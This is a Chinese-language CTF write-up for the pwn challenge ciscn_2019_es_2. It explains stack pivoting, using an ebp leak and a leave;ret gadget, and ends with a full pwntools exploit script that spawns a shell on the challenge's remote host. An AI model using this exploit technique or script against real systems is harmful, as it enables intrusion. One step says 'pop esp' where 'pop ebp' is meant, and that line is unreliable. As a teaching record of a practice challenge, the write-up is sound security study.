ciscn_2019_es_2
一道很好的栈迁移例题。之前看合天讲的虽然也涉及到原理,但是例子用的是攻防世界pwn200,溢出长度还是有点多。这次只能溢出ebp和retaddr,就很典型并且有挑战性。这题没做出来,看的wp,希望下次能自己做出来。
题目给了两次溢出,这两次都是必要的。一般来说,第一次溢出需要泄露栈上地址用来给第二次做迁移使用,第二次执行栈迁移,控制ret跳转到我们所迁移的栈上,执行栈上填写的exp。由于第二次依然是在函数栈帧内输入,因此除非能自己read到bss上(通常能这样做的溢出空间也够别的方法了),都需要在函数自己的栈帧内部写入。因此:通常泄露本栈帧中地址(有泄露的情况下)没有泄露的情况后面会写一个hitcontraining的题目
分析一下本题,由于printf(%s)在00存在截断,因此只需要填满buffer到ebp位置,就可以printf泄露ebp的值。
得到了ebp,需要查看ebp和输入buffer之间的偏移
如下图,由于两个printf在一个栈帧中并且都用s作为buffer,因此从下图中看到的ebp和esp之间的偏移也是第二次的。因此只需要把获取的ebp减去0x38就得到栈起始地址。
接下来是完整的栈迁移过程,如下图
接下来详细解释之。
leave ret的过程首先要理解。
结合着本题来理解,本题在payload2位置的ret放置了leave_ret,根据上面的栈帧图,不难看出ebp的位置现在是ebp-0x38,也就是’aaaa’的位置。为什么要写aaaa呢?一步一步看。第一步,程序获取了ebp的值位ebp-0x38,接着做movl %ebp, %esp也就是把ebp-0x38移动到esp上,但是接下来一部pop esp,会直接将栈顶弹出。接下来ret的实际指令是pop eip也就是指令流直接跑到esp上去。由于popl ebp这一步,使得eip指向的是aaaa后面的指令。因此需要填充。
为什么这样做?考虑到正常的leave ret还要保存上一个函数栈帧位置,怎么保存?就靠的是popl ebp这一步。因为返回到上一个函数栈帧(movl ebp,esp)后,栈帧上第一个 位置(这里的aaaa)保存着再上一个函数ebp(套娃)这也实现了函数递归调用。
理解了上面aaaa的原因,接下来的就好懂了,无非是布置参数执行system
exp
from pwn import *
# io = process('./ciscn_2019_es_2')
io = remote('node4.buuoj.cn',27727)
elf = ELF('./ciscn_2019_es_2')
context.log_level='debug'
leave_ret = 0x080484b8
io.recvline()
payload1 = 'a'*0x26+'b'*2
io.send(payload1)
io.recvuntil('aabb')
ebp = u32(io.recv(4))
print "ebp----->" + hex(ebp)
# padding # system #ret addr # binsh_addr # bin sh
payload2 = 'a'*0x4 + p32(elf.plt['system']) + 'bbbb' + p32(ebp-0x28)+'/bin'+'/sh\x00'
payload2=payload2.ljust(0x28,'\x00')
# pivot addr # ret addr
payload2+=p32(ebp-0x38)+p32(leave_ret)
# gdb.attach(io,"b *0x080485FD")
io.sendline(payload2)
io.interactive()